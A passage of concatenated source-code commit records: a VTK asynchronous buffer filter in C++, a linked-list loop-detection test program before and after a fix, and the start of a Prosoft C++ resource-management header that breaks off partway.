works\nvoid vtkAsynchronousBuffer::BlockingUpdate()\n{\n  if (this->GetInput() == NULL)\n    {\n    return;\n    }\n\n  \/\/ check to see if we are already updating (loop)\n  if (this->Updating)\n    {\n    return;\n    }\n\n  \/\/ make sure we are not already updating asynchronously.\n  this->WaitForFinished();\n\n  \/\/ delete thread from last update (clean up)\n  if (this->ThreadId != -1)\n    {\n    this->Threader->TerminateThread(this->ThreadId);\n    this->ThreadId = -1;\n    }\n\n  \/\/ Do we need to update our input?\n  if (this->GetInput()->GetUpdateTime() < this->GetInput()->GetPipelineMTime())\n    {\n    this->GetInput()->Update();\n    }\n\n  \/\/ This executes the copy if the input is more recent than the output\n  this->PromoteData();\n}\n\n\n\n\/\/----------------------------------------------------------------------------\n\/\/ This may need a mutex lock.  I assume not because the spawned thread\n\/\/ only set the variable to 1 at the end.  Any value of zero is ok,\n\/\/ and any partial non zero value is ok too.\nint vtkAsynchronousBuffer::TestForFinished()\n{\n  return (int)(this->Finished);\n}\n\n\n\/\/----------------------------------------------------------------------------\nvoid vtkAsynchronousBuffer::WaitForFinished()\n{\n  while ( ! this->Finished)\n    {\n    \/\/ vtkTimerLog::Sleep(10);\n    }  \n}\n\n\n\n\/\/----------------------------------------------------------------------------\nvoid vtkAsynchronousBuffer::PromoteData()\n{\n  if ( this->StartMethod ) \n    {\n    (*this->StartMethod)(this->StartMethodArg);\n    }\n  this->Progress = 0.0;\n  this->GetOutput()->Initialize(); \/\/clear output\n  this->Execute();\n  if ( !this->AbortExecute ) \n    {\n    this->UpdateProgress(1.0);\n    }\n  if ( this->EndMethod ) \n    {\n    (*this->EndMethod)(this->EndMethodArg);\n    }\n\n  if ( this->GetInput()->ShouldIReleaseData() )\n    { \n    this->GetInput()->ReleaseData();\n    }\n}\n\n\/\/----------------------------------------------------------------------------\nvoid vtkAsynchronousBuffer::Execute()\n{\n  this->GetOutput()->CopyStructure((vtkDataSet *)this->GetInput());\n\n  this->GetOutput()->GetPointData()->PassData(\n                 ((vtkDataSet *)this->GetInput())->GetPointData());\n  this->GetOutput()->GetCellData()->PassData(\n                 ((vtkDataSet *)this->GetInput())->GetCellData());\n}\n\n\n\/\/----------------------------------------------------------------------------\nvoid vtkAsynchronousBuffer::PrintSelf(ostream& os, vtkIndent indent)\n{\n  vtkDataSetToDataSetFilter::PrintSelf(os,indent);\n\n  if (this->Blocking)\n    {\n    os << indent << \"BlockingOn\\n\";\n    }\n  else\n    {\n    os << indent << \"BlockingOff\\n\";\n    }\n  os << \"Finished: \" << this->Finished << endl;\n  \n  os << indent << \"ThreadId: \" << this->ThreadId << \"\\n\";\n}\n\n<commit_msg>*** empty log message ***<commit_after>\/*=========================================================================\n\n  Program:   Visualization Toolkit\n  Module:    vtkAsynchronousBuffer.cxx\n  Language:  C++\n  Date:      $Date$\n  Version:   $Revision$\n\n\nCopyright (c) 1993-1998 Ken Martin, Will Schroeder, Bill Lorensen.\n\nThis software is copyrighted by Ken Martin, Will Schroeder and Bill Lorensen.\nThe following terms apply to all files associated with the software unless\nexplicitly disclaimed in individual files. This copyright specifically does\nnot apply to the related textbook \"The Visualization Toolkit\" ISBN\n013199837-4 published by Prentice Hall which is covered by its own copyright.\n\nThe authors hereby grant permission to use, copy, and distribute this\nsoftware and its documentation for any purpose, provided that existing\ncopyright notices are retained in all copies and that this notice is included\nverbatim in any distributions. Additionally, the authors grant permission to\nmodify this software and its documentation for any purpose, provided that\nsuch modifications are not distributed without the explicit consent of the\nauthors and that existing copyright notices are retained in all copies. Some\nof the algorithms implemented by this software are patented, observe all\napplicable patent law.\n\nIN NO EVENT SHALL THE AUTHORS OR DISTRIBUTORS BE LIABLE TO ANY PARTY FOR\nDIRECT, INDIRECT, SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES ARISING OUT\nOF THE USE OF THIS SOFTWARE, ITS DOCUMENTATION, OR ANY DERIVATIVES THEREOF,\nEVEN IF THE AUTHORS HAVE BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\nTHE AUTHORS AND DISTRIBUTORS SPECIFICALLY DISCLAIM ANY WARRANTIES, INCLUDING,\nBUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY, FITNESS FOR A\nPARTICULAR PURPOSE, AND NON-INFRINGEMENT.  THIS SOFTWARE IS PROVIDED ON AN\n\"AS IS\" BASIS, AND THE AUTHORS AND DISTRIBUTORS HAVE NO OBLIGATION TO PROVIDE\nMAINTENANCE, SUPPORT, UPDATES, ENHANCEMENTS, OR MODIFICATIONS.\n\n\n=========================================================================*\/\n\/\/#include <unistd.h>\n#include \"vtkAsynchronousBuffer.h\"\n#include \"vtkDataInformation.h\"\n\n\/\/----------------------------------------------------------------------------\nvtkAsynchronousBuffer::vtkAsynchronousBuffer()\n{\n  this->Blocking = 1;\n  this->Threader = vtkMultiThreader::New();\n  this->ThreadId = -1;\n  this->Finished = 1;\n  this->OutputConsumed = 1;\n}\n\n\/\/----------------------------------------------------------------------------\nvtkAsynchronousBuffer::~vtkAsynchronousBuffer()\n{\n  this->Threader->Delete();\n  this->Threader = NULL;\n}\n\n\n\/\/----------------------------------------------------------------------------\n\/\/ the asynchrous update function\nVTK_THREAD_RETURN_TYPE vtkAsynchronousBufferUpdate( void *arg )\n{\n  ThreadInfoStruct *info = (ThreadInfoStruct*)arg;\n  vtkAsynchronousBuffer *self = (vtkAsynchronousBuffer*)(info->UserData);\n\n  self->GetInput()->Update();\n  self->Finished = 1;\n\n  return VTK_THREAD_RETURN_VALUE;\n}\n\n\n\n\/\/----------------------------------------------------------------------------\n\/\/ Access to Finished should have a mutex lock around it.\nvoid vtkAsynchronousBuffer::UpdateInformation()\n{\n  if (this->Blocking)\n    {\n    this->BlockingUpdateInformation();\n    }\n  else\n    {\n    this->NonblockingUpdateInformation();\n    }\n}\n\n  \n\/\/----------------------------------------------------------------------------\n\/\/ Access to Finished should have a mutex lock around it.\nvoid vtkAsynchronousBuffer::NonblockingUpdateInformation()\n{\n  vtkDataSet *input = this->GetInput();\n  vtkDataSet *output = this->GetOutput();\n  unsigned long t1, t2;\n  \n  \/\/ just some error checking\n  if (input == NULL)\n    {\n    vtkErrorMacro(\"No Input\");\n    return;\n    }\n  if (output == NULL)\n    {\n    vtkErrorMacro(\"No Output\");\n    return;\n    }\n  \n  \/\/ Avoid accessing input if another thread is running.\n  \/\/ I assume values from last UpdateInformation is sufficient.\n  if ( ! this->Finished)\n    {\n    vtkDebugMacro(\"Still Updating\");\n    return;\n    }\n  \n  \/\/ Test to see if we can promote data (copy form input to output)\n  \/\/ If last promotion has not been consumed.\n  \/\/ (The existance of a thread is used to detect promotable data.)\n  if (this->OutputConsumed && this->ThreadId != -1)\n    {\n    \/\/ Promote the data (copy input to output)\n    this->PromoteData();\n    this->OutputConsumed = 0;\n    \/\/ clean up thread.\n    vtkDebugMacro(\"Promoting data to output\");\n    this->Threader->TerminateThread(this->ThreadId);\n    this->ThreadId = -1;\n    \/\/ This modified will cause update to be called ...\n    \/\/ (not really necessary, because output has been modified by promotion).\n    this->Modified();\n    }\n  \n  \/\/ Test to see if we should start an asynchronous update.\n  \/\/ Only start an update if we are not updating already, \n  \/\/ and there is no promotable data.\n  if (this->ThreadId == -1)\n    {\n    \/\/ check the update time of the input directly to pre determine\n    \/\/ whether input will generate new data.\n    input->UpdateInformation();\n    if (input->GetPipelineMTime() > input->GetUpdateTime())\n      {\n      \/\/ spawn a thread and start an update.\n      \/\/ what if an abort occurs?!! ... \n      vtkDebugMacro(\"Spawn an update\");\n      this->Finished = 0;\n      this->ThreadId = \n\tthis->Threader->SpawnThread(vtkAsynchronousBufferUpdate, (void *)this);\n      }\n    }\n  \n  \/\/ Do the typical update information stuff (as if we were a simple source).\n  output->GetDataInformation()->SetLocality(1.0);\n  t1 = this->GetMTime();\n  t2 = output->GetMTime();\n  if (t2 > t1)\n    {\n    t1 = t2;\n    }\n  output->SetPipelineMTime(t1);\n  \/\/ Is it up to date? Really? Oh well.\n  output->SetEstimatedWholeMemorySize(input->GetEstimatedWholeMemorySize());\n  \/\/ Copy data specific information\n  output->CopyInformation(input);\n}\n  \n  \n\/\/----------------------------------------------------------------------------\n\/\/ Access to Finished should have a mutex lock around it.\nvoid vtkAsynchronousBuffer::BlockingUpdateInformation()\n{\n  vtkDataSet *input = this->GetInput();\n  vtkDataSet *output = this->GetOutput();\n  \n  \/\/ just some error checking\n  if (input == NULL)\n    {\n    vtkErrorMacro(\"No Input\");\n    return;\n    }\n  if (output == NULL)\n    {\n    vtkErrorMacro(\"No Output\");\n    return;\n    }\n  \n  \/\/ make sure we are not already updating asynchronously.\n  this->WaitForFinished();\n\n  \/\/ Now we can look downstream for pipeline mtime.\n  this->vtkSource::UpdateInformation();\n\n  \/\/ Copy data specific information\n  output->CopyInformation(input);\n}\n\n\n\/\/----------------------------------------------------------------------------\nvoid vtkAsynchronousBuffer::InternalUpdate(vtkDataObject *output)\n{\n  if (this->Blocking)\n    {\n    this->BlockingUpdate();\n    }\n  else\n    {\n    this->NonblockingUpdate();\n    }\n} \n\n\/\/----------------------------------------------------------------------------\nvoid vtkAsynchronousBuffer::NonblockingUpdate()\n{\n  \/\/ Every thing has been done in UpdateInformation\n  \/\/ Maybe we should leave the promotion to the update, but that might\n  \/\/ cause a delay initiating the next asynchronous update.\n  \n  this->OutputConsumed = 1;\n}\n\n\/\/----------------------------------------------------------------------------\n\/\/ To make sure the data gets to output (for initialization)\n\/\/ I am not positive this still works\nvoid vtkAsynchronousBuffer::BlockingUpdate()\n{\n  if (this->GetInput() == NULL)\n    {\n    return;\n    }\n\n  \/\/ check to see if we are already updating (loop)\n  if (this->Updating)\n    {\n    return;\n    }\n\n  \/\/ make sure we are not already updating asynchronously.\n  this->WaitForFinished();\n\n  \/\/ delete thread from last update (clean up)\n  if (this->ThreadId != -1)\n    {\n    this->Threader->TerminateThread(this->ThreadId);\n    this->ThreadId = -1;\n    }\n\n  \/\/ Do we need to update our input?\n  if (this->GetInput()->GetUpdateTime() < this->GetInput()->GetPipelineMTime())\n    {\n    this->GetInput()->Update();\n    }\n\n  \/\/ This executes the copy if the input is more recent than the output\n  this->PromoteData();\n}\n\n\n\n\/\/----------------------------------------------------------------------------\n\/\/ This may need a mutex lock.  I assume not because the spawned thread\n\/\/ only set the variable to 1 at the end.  Any value of zero is ok,\n\/\/ and any partial non zero value is ok too.\nint vtkAsynchronousBuffer::TestForFinished()\n{\n  return (int)(this->Finished);\n}\n\n\n\/\/----------------------------------------------------------------------------\nvoid vtkAsynchronousBuffer::WaitForFinished()\n{\n  while ( ! this->Finished)\n    {\n    \/\/ vtkTimerLog::Sleep(10);\n    }  \n}\n\n\n\n\/\/----------------------------------------------------------------------------\nvoid vtkAsynchronousBuffer::PromoteData()\n{\n  if ( this->StartMethod ) \n    {\n    (*this->StartMethod)(this->StartMethodArg);\n    }\n  this->Progress = 0.0;\n  this->GetOutput()->Initialize(); \/\/clear output\n  this->Execute();\n  if ( !this->AbortExecute ) \n    {\n    this->UpdateProgress(1.0);\n    }\n  if ( this->EndMethod ) \n    {\n    (*this->EndMethod)(this->EndMethodArg);\n    }\n\n  if ( this->GetInput()->ShouldIReleaseData() )\n    { \n    this->GetInput()->ReleaseData();\n    }\n}\n\n\/\/----------------------------------------------------------------------------\nvoid vtkAsynchronousBuffer::Execute()\n{\n  this->GetOutput()->CopyStructure((vtkDataSet *)this->GetInput());\n\n  this->GetOutput()->GetPointData()->PassData(\n                 ((vtkDataSet *)this->GetInput())->GetPointData());\n  this->GetOutput()->GetCellData()->PassData(\n                 ((vtkDataSet *)this->GetInput())->GetCellData());\n}\n\n\n\/\/----------------------------------------------------------------------------\nvoid vtkAsynchronousBuffer::PrintSelf(ostream& os, vtkIndent indent)\n{\n  vtkDataSetToDataSetFilter::PrintSelf(os,indent);\n\n  if (this->Blocking)\n    {\n    os << indent << \"BlockingOn\\n\";\n    }\n  else\n    {\n    os << indent << \"BlockingOff\\n\";\n    }\n  os << \"Finished: \" << this->Finished << endl;\n  \n  os << indent << \"ThreadId: \" << this->ThreadId << \"\\n\";\n}\n\n<|endoftext|>"}
{"text":"<commit_before>#include \"llist.h\"\n#include <iostream>\n#include <cassert>\n\ntypedef struct my_list {\n    int value;\n    sl_list_t nd;\n} my_list;\n\n\/\/shabby way of creating node\nstatic my_list nodes[] = {\n     {10, 0}\n    ,{20, 0}\n    ,{30, 0}\n    ,{40, 0}\n    ,{50, 0}\n    ,{60, 0}\n    ,{70, 0}\n    ,{80, 0}\n    ,{90, 0}\n    ,{100, 0}\n};\n\n#define ARRAY_SIZE(array) sizeof(array)\/sizeof(array[0])\n\nmy_list* nth_from_end(sl_list_t *list, const int n)\n{\n    sl_list_t *rptr = NULL;\n    sl_list_t *itr = list;\n    assert( n > 0);\n    for( int i = 0; i < n; ++i) {\n        if (!itr) {\n            std::cerr << \"Either empty or list lesser than \" << n\n                << \" passed\" << std::endl;\n            return NULL;\n        }\n        assert(itr != NULL);\n        itr = itr->nxt;\n    }\n\n    for(rptr = list; itr; itr = itr->nxt)\n    {\n        rptr = rptr->nxt;\n    }\n    return SL_LIST_ENTRY(rptr, my_list, nd);\n}\n\nbool is_circular(sl_list_t *list)\n{\n    sl_list_t *slow_ptr = NULL;\n    sl_list_t *fast_ptr = NULL;\n    for(slow_ptr = list, fast_ptr = list; slow_ptr && fast_ptr && fast_ptr->nxt;\n           slow_ptr = slow_ptr->nxt, fast_ptr = fast_ptr->nxt)\n    {\n        fast_ptr = fast_ptr->nxt;\n        if ( slow_ptr == fast_ptr ) return true;\n    }\n    return false;\n}\n\nsl_list_t* find_loop_start(sl_list_t *list)\n{\n    sl_list_t *slow_ptr = NULL;\n    sl_list_t *fast_ptr = NULL;\n    bool is_circular = false;\n    for(slow_ptr = list, fast_ptr = list; slow_ptr && fast_ptr && fast_ptr->nxt;\n           fast_ptr = fast_ptr->nxt, slow_ptr = slow_ptr->nxt)\n    {\n        fast_ptr = fast_ptr->nxt;\n        if ( slow_ptr == fast_ptr ) {\n            is_circular = true;\n            break;\n        }\n    }\n    if (is_circular) {\n        for( fast_ptr = list; slow_ptr != fast_ptr; slow_ptr = slow_ptr->nxt) {\n     \/\/       std::cout << (SL_LIST_ENTRY(slow_ptr, my_list, nd))->value << \"\\t\" << (SL_LIST_ENTRY(fast_ptr, my_list, nd))->value << std::endl;\n            fast_ptr = fast_ptr->nxt;\n        }\n\n        return slow_ptr;\n    }\n    return NULL;\n}\nint find_loop_len(sl_list_t *list)\n{\n    sl_list_t *slow_ptr = NULL;\n    sl_list_t *fast_ptr = NULL;\n    bool is_circular = false;\n    for(slow_ptr = list, fast_ptr = list; slow_ptr && fast_ptr && fast_ptr->nxt;\n           slow_ptr = slow_ptr->nxt, fast_ptr = fast_ptr->nxt)\n    {\n        fast_ptr = fast_ptr->nxt;\n        if ( slow_ptr == fast_ptr ) {\n            is_circular = true;\n            break;\n        }\n    }\n    int cnt = 0;\n    if (is_circular) {\n        for( ;slow_ptr != fast_ptr; fast_ptr = fast_ptr->nxt)\n        {\n            ++cnt;\n        }\n    }\n    return cnt;\n}\n\n\nvoid test_nth_from_end(sl_list_t hdr)\n{\n    my_list *t = nth_from_end(hdr.nxt, 5);\n    std::cout << t->value << std::endl;\n\n    t = nth_from_end(hdr.nxt, 1);\n    std::cout << t->value << std::endl;\n\n    t = nth_from_end(hdr.nxt, 15);\n    assert( t == NULL);\n}\n\n#define ENABLE_DEBG 1\nint main(int argc, char *argv[])\n{\n    SL_LIST_HD(hdr);\n    for (int i = 0; i < ARRAY_SIZE(nodes); ++i) {\n        insert(&(nodes[ARRAY_SIZE(nodes) - (i + 1)].nd) , &hdr);\n    }\n\n#if ENABLE_DEBG\n    sl_list_t *ptr = NULL;\n    SL_FOR_EACH(ptr, hdr.nxt) {\n        my_list  *p = SL_LIST_ENTRY(ptr, my_list, nd);\n        std::cout << p->value << std::endl;\n    }\n#endif\n\/\/    test_nth_from_end( hdr);\n\n    \/\/test floyd algo\n    nodes[9].nd.nxt = nodes[4].nd.nxt;\n\n    assert(is_circular(hdr.nxt));\n\/\/    std::cout << (SL_LIST_ENTRY(find_loop_start(hdr.nxt), my_list, nd))->value << std::endl;\n#if ENABLE_DEBG\n    SL_FOR_EACH(ptr, hdr.nxt) {\n        my_list  *p = SL_LIST_ENTRY(ptr, my_list, nd);\n        std::cout << p->value << std::endl;\n    }\n#endif\n\n    nodes[9].nd.nxt = NULL;\n    assert(!is_circular(hdr.nxt));\n    nodes[9].nd.nxt = nodes[0].nd.nxt;\n    assert(is_circular(hdr.nxt));\n}\n<commit_msg>fix loop detection logic<commit_after>#include \"llist.h\"\n#include <iostream>\n#include <cassert>\n\ntypedef struct my_list {\n    int value;\n    sl_list_t nd;\n} my_list;\n\n\/\/shabby way of creating node\nstatic my_list nodes[] = {\n     {10, 0}\n    ,{20, 0}\n    ,{30, 0}\n    ,{40, 0}\n    ,{50, 0}\n    ,{60, 0}\n    ,{70, 0}\n    ,{80, 0}\n    ,{90, 0}\n    ,{100, 0}\n};\n\n#define ARRAY_SIZE(array) sizeof(array)\/sizeof(array[0])\n\nmy_list* nth_from_end(sl_list_t *list, const int n)\n{\n    sl_list_t *rptr = NULL;\n    sl_list_t *itr = list;\n    assert( n > 0);\n    for( int i = 0; i < n; ++i) {\n        if (!itr) {\n            std::cerr << \"Either empty or list lesser than \" << n\n                << \" passed\" << std::endl;\n            return NULL;\n        }\n        assert(itr != NULL);\n        itr = itr->nxt;\n    }\n\n    for(rptr = list; itr; itr = itr->nxt)\n    {\n        rptr = rptr->nxt;\n    }\n    return SL_LIST_ENTRY(rptr, my_list, nd);\n}\n\nbool is_circular(sl_list_t *list)\n{\n    sl_list_t *slow_ptr = list;\n    sl_list_t *fast_ptr = list;\n    for(; slow_ptr && fast_ptr && fast_ptr->nxt && fast_ptr->nxt->nxt;\n           )\n    {\n        slow_ptr = slow_ptr->nxt;\n        fast_ptr = fast_ptr->nxt->nxt;\n        if ( slow_ptr == fast_ptr ) return true;\n    }\n    return false;\n}\n\nsl_list_t* find_loop_start(sl_list_t *list)\n{\n    sl_list_t *slow_ptr = list;\n    sl_list_t *fast_ptr = list;\n    bool is_circular = false;\n\n    for(; slow_ptr && fast_ptr && fast_ptr->nxt && fast_ptr->nxt->nxt;)\n    {\n        slow_ptr = slow_ptr->nxt;\n        fast_ptr = fast_ptr->nxt->nxt;\n        if ( slow_ptr == fast_ptr ) {\n            is_circular = true;\n            break;\n        }\n    }\n\n    if (is_circular) {\n        for( fast_ptr = list; slow_ptr != fast_ptr; slow_ptr = slow_ptr->nxt, fast_ptr = fast_ptr->nxt) {\n            ;\n        }\n\n        return slow_ptr;\n    }\n    return NULL;\n}\nint find_loop_len(sl_list_t *list)\n{\n    sl_list_t *slow_ptr = list;\n    sl_list_t *fast_ptr = list;\n    bool is_circular = false;\n\n    for(; slow_ptr && fast_ptr && fast_ptr->nxt && fast_ptr->nxt->nxt;)\n    {\n        slow_ptr = slow_ptr->nxt;\n        fast_ptr = fast_ptr->nxt->nxt;\n        if ( slow_ptr == fast_ptr ) {\n            is_circular = true;\n            break;\n        }\n    }\n    int cnt = 0;\n    if (is_circular) {\n        for( ;slow_ptr != fast_ptr; fast_ptr = fast_ptr->nxt)\n        {\n            ++cnt;\n        }\n    }\n    return cnt;\n}\n\n\nvoid test_nth_from_end(sl_list_t hdr)\n{\n    my_list *t = nth_from_end(hdr.nxt, 5);\n    std::cout << t->value << std::endl;\n\n    t = nth_from_end(hdr.nxt, 1);\n    std::cout << t->value << std::endl;\n\n    t = nth_from_end(hdr.nxt, 15);\n    assert( t == NULL);\n}\n\n#define ENABLE_DEBG 0\nint main(int argc, char *argv[])\n{\n    SL_LIST_HD(hdr);\n    for (int i = 0; i < ARRAY_SIZE(nodes); ++i) {\n        insert(&(nodes[ARRAY_SIZE(nodes) - (i + 1)].nd) , &hdr);\n    }\n\n#if ENABLE_DEBG\n    sl_list_t *ptr = NULL;\n    SL_FOR_EACH(ptr, hdr.nxt) {\n        my_list  *p = SL_LIST_ENTRY(ptr, my_list, nd);\n        std::cout << p->value << std::endl;\n    }\n#endif\n    test_nth_from_end( hdr);\n\n    \/\/test floyd algo\n    nodes[9].nd.nxt = nodes[4].nd.nxt;\n\n    assert(is_circular(hdr.nxt));\n\n    nodes[9].nd.nxt = NULL;\n    assert(!is_circular(hdr.nxt));\n    nodes[9].nd.nxt = nodes[0].nd.nxt;\n    assert(is_circular(hdr.nxt));\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright © 2013-2015, Prosoft Engineering, Inc. (A.K.A \"Prosoft\")\n\/\/ All rights reserved.\n\/\/\n\/\/ Redistribution and use in source and binary forms, with or without\n\/\/ modification, are permitted provided that the following conditions are met:\n\/\/     * Redistributions of source code must retain the above copyright\n\/\/       notice, this list of conditions and the following disclaimer.\n\/\/     * Redistributions in binary form must reproduce the above copyright\n\/\/       notice, this list of conditions and the following disclaimer in the\n\/\/       documentation and\/or other materials provided with the distribution.\n\/\/     * Neither the name of Prosoft nor the names of its contributors may be\n\/\/       used to endorse or promote products derived from this software without\n\/\/       specific prior written permission.\n\/\/\n\/\/ THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND\n\/\/ ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\n\/\/ WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n\/\/ DISCLAIMED. IN NO EVENT SHALL PROSOFT ENGINEERING, INC. BE LIABLE FOR ANY\n\/\/ DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\n\/\/ (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\n\/\/ LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND\n\/\/ ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n\/\/ (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\n\/\/ SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\n#ifndef PS_CORE_UNIQUE_RESOURCE_HPP\n#define PS_CORE_UNIQUE_RESOURCE_HPP\n\n#if __APPLE__\n#include <CoreFoundation\/CoreFoundation.h>\n#elif _WIN32\n#include <prosoft\/core\/config\/config_windows.h>\n#include <windows.h>\n#endif\n\n#include <cstring> \/\/ memset\n#include <memory>\n#include <type_traits>\n#include <utility>\n\n#include <prosoft\/core\/config\/config.h>\n\nnamespace prosoft {\n\n\/\/ malloc for typed anonymous memory\nnamespace iunique {\nstruct malloc_delete {\n    void operator()(void* p) PS_NOEXCEPT {\n        std::free(p);\n    }\n};\n} \/\/ iunique\n\ntemplate <typename T>\nusing unique_malloc = std::unique_ptr<T, iunique::malloc_delete>;\n\ntemplate <typename T>\ninline unique_malloc<T> make_malloc(size_t sz) PS_NOEXCEPT {\n    return unique_malloc<T>{ (T*)std::malloc(sz) };\n}\n\nstruct count_t {\n    explicit count_t(size_t ct) PS_NOEXCEPT : count(ct) {}\n    size_t count;\n};\n\ntemplate <typename T>\ninline unique_malloc<T> make_malloc(count_t count) PS_NOEXCEPT {\n    return unique_malloc<T>{ (T*)std::malloc(sizeof(T) * count.count) };\n}\n\ntemplate <typename T>\ninline unique_malloc<T> init_malloc(size_t sz, int pattern = 0) PS_NOEXCEPT {\n    auto p = make_malloc<T>(sz);\n    if (p) {\n        std::memset(p.get(), pattern, sz);\n    }\n    return p;\n}\n\ntemplate <typename T>\ninline unique_malloc<T> make_malloc(size_t count, size_t sz) PS_NOEXCEPT {\n    return unique_malloc<T>{ (T*)std::calloc(count, sz) };\n}\n\ntemplate <typename T>\ninline unique_malloc<T>& make_malloc(unique_malloc<T>& ptr, size_t sz) PS_NOEXCEPT {\n    auto p = ptr.release(); \/\/ don't free old ptr\n    ptr.reset((T*)std::realloc(p, sz));\n    return ptr;\n}\n\ntemplate <typename T, typename... Args>\ninline unique_malloc<T> make_malloc_throw(Args&&... args) {\n    auto p = make_malloc<T>(std::forward<Args>(args)...);\n    PS_THROW_IF(!p, std::bad_alloc());\n    return p;\n}\n\n#if __APPLE__\n\nnamespace iunique {\n\/\/ CF ref types can be both non-const and const\nstruct cf_delete {\n    void operator()(void* p) PS_NOEXCEPT {\n        if (p) { ::CFRelease(p); }\n    }\n    void operator()(const void* p) PS_NOEXCEPT {\n        if (p) { ::CFRelease(p); }\n    }\n};\n} \/\/ iunique\n\ntemplate <typename CFRefType>\nusing unique_cftype = std::unique_ptr<typename std::remove_pointer<CFRefType>::type, iunique::cf_delete>;\n\nnamespace CF {\n\/\/ Common CF type aliases\nusing unique_array = unique_cftype<CFArrayRef>;\nusing unique_data = unique_cftype<CFDataRef>;\nusing unique_dictionary = unique_cftype<CFDictionaryRef>;\nusing unique_error = unique_cftype<CFErrorRef>;\nusing unique_number = unique_cftype<CFNumberRef>;\nusing unique_string = unique_cftype<CFStringRef>;\nusing unique_type = unique_cftype<CFTypeRef>;\nusing unique_url = unique_cftype<CFURLRef>;\n} \/\/ CF\n\n#elif _WIN32\n\nnamespace iunique {\nstruct global_delete {\n    void operator() (void* p) PS_NOEXCEPT {\n        ::GlobalFree(p);\n    }\n};\n\/\/ XXX: Heap allocation requires external context other than the pointer and would thus be hard to implement as a unique_ptr.\nstruct local_delete {\n    void operator() (void* p) PS_NOEXCEPT {\n        ::LocalFree(p);\n    }\n};\nstruct taskmem_delete {\n    void operator() (void* p) noexcept {\n        ::CoTaskMemFree(p);\n    }\n};\n} \/\/ iunique\n\nnamespace windows {\ntemplate <typename T>\nusing unique_global = std::unique_ptr<T, iunique::global_delete>;\n\ntemplate <typename T>\nusing unique_local = std::unique_ptr<T, iunique::local_delete>;\n\ntemplate <typename T>\nusing unique_taskmem = std::unique_ptr<T, iunique::taskmem_delete>;\n\nstruct handle_traits {\n    typedef HANDLE pointer;\n    \n    bool is_valid(pointer p) const PS_NOEXCEPT {\n        return (p && p != INVALID_HANDLE_VALUE);\n    }\n    \n    void operator()(pointer p) PS_NOEXCEPT {\n        if (is_valid(p)) {\n            ::CloseHandle(p);\n        }\n    }\n};\n\n\/\/ Custom class for HANDLE's, mainly because std::unique_ptr does not have a way to customize the invalid ptr value.\n\/\/ See http:\/\/blogs.msdn.com\/b\/oldnewthing\/archive\/2004\/03\/02\/82639.aspx for further HANDLE pitfalls.\ntemplate <class Ptr, class Traits>\nclass unique_handle {\n    using up_type = std::unique_ptr<typename std::remove_pointer<Ptr>::type, Traits>;\n    up_type m_up;\npublic:\n    typedef typename up_type::element_type element_type;\n    typedef typename up_type::deleter_type deleter_type;\n    typedef typename up_type::pointer pointer;\n\n    PS_DEFAULT_CONSTRUCTOR(unique_handle);\n    PS_DEFAULT_DESTRUCTOR(unique_handle);\n    PS_DISABLE_COPY(unique_handle);\n    PS_DEFAULT_MOVE(unique_handle);\n    \n    unique_handle(Ptr p) PS_NOEXCEPT : m_up(p) {}\n    \n    Ptr get() const PS_NOEXCEPT { return m_up.get(); }\n    \/\/ XXX: HANDLE is void, so operator* and -> make no sense.\n    explicit operator bool() const PS_NOEXCEPT { return m_up.get_deleter().is_valid(get()); }\n    \n    Ptr release() PS_NOEXCEPT { return m_up.release(); }\n    void reset(Ptr p = Ptr{}) PS_NOEXCEPT { m_up.reset(p); }\n    void operator=(std::nullptr_t) PS_NOEXCEPT { reset(); }\n    void swap(unique_handle& uh) PS_NOEXCEPT { m_up.swap(uh.m_up); }\n};\n\nusing Handle = unique_handle<HANDLE, handle_traits>;\n\n} \/\/ windows\n\n#endif \/\/ __APPLE__\n\n\/\/ CF and Win APIs use handles (the ptr-to-ptr type) quite a lot.\nnamespace iunique {\ntemplate <class T, class D, class UPtr>\nclass uphandle;\n\ntemplate <class Up>\nusing uphandle_t = uphandle<typename Up::element_type, typename Up::deleter_type, typename std::decay<Up>::type>;\n}\n\ntemplate <class Up>\niunique::uphandle_t<Up> handle(Up&) PS_NOEXCEPT;\n\nnamespace iunique {\n\ntemplate <class T, class D, class UPtr>\nclass uphandle {\n    using upointer = UPtr;\n    using pointer = typename upointer::pointer;\n    upointer* m_u;\n    pointer m_p;\n\n    void store() PS_NOEXCEPT {\n        if (m_u) {\n            m_u->reset(m_p);\n        }\n    }\n\n    uphandle(upointer& up) PS_NOEXCEPT : m_u(&up), m_p(nullptr) {}\n\n    uphandle(uphandle&& other)\n        : m_u(other.m_u)\n        , m_p(other.m_p) {\n        other.m_u = nullptr;\n        other.m_p = nullptr;\n    }\n\n    friend uphandle prosoft::handle<upointer>(upointer&) PS_NOEXCEPT;\n \npublic:\n    \/\/ Disabling copy and making construct and move private means this class can never bind to an external lvalue.\n    \/\/ This would be dangerous as leaks coud occur quite easily since the backing store sync only happens on destruction.\n    PS_DISABLE_DEFAULT_CONSTRUCTOR(uphandle);\n    PS_DISABLE_COPY(uphandle);\n    \n    ~uphandle() PS_NOEXCEPT {\n        store();\n    }\n\n    operator pointer*() { return &m_p; }\n};\n\n} \/\/ iunique\n\ntemplate <class Up>\niunique::uphandle_t<Up> handle(Up& up) PS_NOEXCEPT {\n    return iunique::uphandle_t<Up>{up};\n}\n\n} \/\/ prosoft\n\n#endif \/\/ PS_CORE_UNIQUE_RESOURCE_HPP\n<commit_msg>Add ability to specify deleter for unique_cftype<commit_after>\/\/ Copyright © 2013-2015, Prosoft Engineering, Inc. (A.K.A \"Prosoft\")\n\/\/ All rights 